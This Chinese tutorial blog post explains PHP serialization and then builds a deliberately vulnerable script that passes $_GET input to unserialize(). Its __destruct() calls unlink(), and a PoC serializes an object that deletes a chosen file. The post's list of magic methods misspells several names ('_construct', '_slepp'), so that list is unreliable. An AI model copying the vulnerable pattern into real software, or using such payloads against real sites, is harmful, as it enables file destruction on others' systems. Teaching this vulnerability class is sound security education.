php序列化与反序列化
- 今天向大家介绍php反序列化漏洞,我会从开发者的角度讲述php序列化漏洞的相关基础知识,产生,以及漏洞利用。欢迎大家留言与我交流。
序列化与反序列化
- 序列化是将变量转换为可保存或传输的字符串的过程
- 反序列化就是在适当的时候把这个字符串转换成为原来的变量使用
php序列化与反序列化函数
- serialize:可以将变量转换为字符串并且在转换中可以保存当前变量的值
- unserialize:可以将serialize生成的字符串变换回变量
- php进行序列化的目的:保存一个对象方便以后使用
原理解析
1.想要了解php序列化,就先要了解类,变量,方法,对象,因为php进行序列化的目的就是保存一个对象方便以后使用
<?php
//类
class Person{
//变量
public $name = '';
public $age = 0;
//方法
public function Infomation(){
echo "Person: ".$this->name." is ".$this->age." years old.<br />";
}
}
//创建对象,实例化类
$per = new Person();
$per->name = 'hao';
$per->age = 22;
$per->Infomation();
这个就是类的运行结果
序列化函数
- serialize() 函数
- 序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字
<?php
//类
class Person{
//变量
public $name = '';
public $age = 0;
//方法
public function Infomation(){
echo "Person: ".$this->name." is ".$this->age." years old.<br />";
}
}
//创建对象,实例化类
$per = new Person();
$per->name = 'hao';
$per->age = 22;
echo serialize($per);//核心代码,php序列化函数
这个是序列化后的结果,我这里不会详细介绍序列化后的结果的规律,有兴趣的小伙伴,可以自己去深入研究
反序列化函数
- 函数:unserialize()
- unserialize()一个对象,这个对象的类必须是已经定义过的
<?php
//类
class Person{
//变量
public $name = '';
public $age = 0;
//方法
public function Infomation(){
echo "Person: ".$this->name." is ".$this->age." years old.<br />";
}
}
//php反序列化函数
#将序列化的类,进行反序列化
$per = unserialize('O:6:"Person":2:{s:4:"name";s:3:"hao";s:3:"age";i:22;}');
#序列化后就可以相当与实例化了$per,接着就可以调用对应的方法
$per->Infomation();
通过反序列化函数,将我们序列化的结果,变为了原来的结果。
仅仅知道了序列化和反序列化的函数和用法,对于php反序列化漏洞来说是不够的,我们还要了解php中的魔法函数
php魔法函数
- php类中包含一些魔法函数,这些函数可以在脚本的任何地方不用声明就可以使用
- 魔法函数
_construct() //对象创建时被调用
_destruct() //对象销毁时调用
_wakeup() //使用unserialize是触发
_slepp() //使用serialize是触发
_toString() //把类当作字符串使用是触发
_get() //用于从不访问的属性读取数据
大家看到这里就基本了解了php反序列化漏洞的基础知识。接下来我就,带大家实操一个php反序列化的漏洞。
PHP反序列化漏洞
php反序列化漏洞如何产生:
- 如果一个php代码中使用了unserialize函数去调用某一类,该类中会自动执行一些已经定义的魔法函数,这些魔法函数中如果包含了一些危险的操作,或者这些魔法函数 会去调用类中的其他带有危险操作的函数,如果这些函数操作是我们可控的,那么就可以进行一些骚操作
实战
<?php
//删除文件
class delete {
public $filename = 'error';
//析构函数在类销毁时自动调用
function __destruct() {
echo $this->filename.'was deleted<br/>';
//删除文件的危险函数
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
class Person{
public $name = '';
public $age = 0;
public function Information() {
echo 'Person:'.$this->name.'is'.$this->age.'years old.<br />';
}
}
$per = unserialize($_GET['per_serialized']);
审计代码,我们可以发现漏洞
- __destruct():中调用了危险的函数unlink(),会删除文件
- unserialize($_GET[‘per_serialized’]);反序列化函数中的参数,是用_GET传过来的,是我们可以控制的
构造poc
- 结合上面的漏洞,我们可以自己生成一个delete类序列化值,通过unserialize()反序列化,这样就会调用delete类中的__destruct(),删除我们想要删除的文件
比如删除2.txt
<?php
class delete {
public $filename = 'error';
}
//实例化一个类
$test = new delete();
//给类变量赋值为,想要删除的文件名
$test -> filename = '2.txt';
//输出序列化结果
echo serialize($test);
通过上面的代码,我们就得到了类变量filename为2.txt的序列化结果
- 接着我们将这个值,通过get传给反序列化函数
由于unserialize()反序列化delete类,得到了类变量filename的值,在类销毁类时自动调用了__destruct()方法中的unlink函数,删掉了filename对应的文件。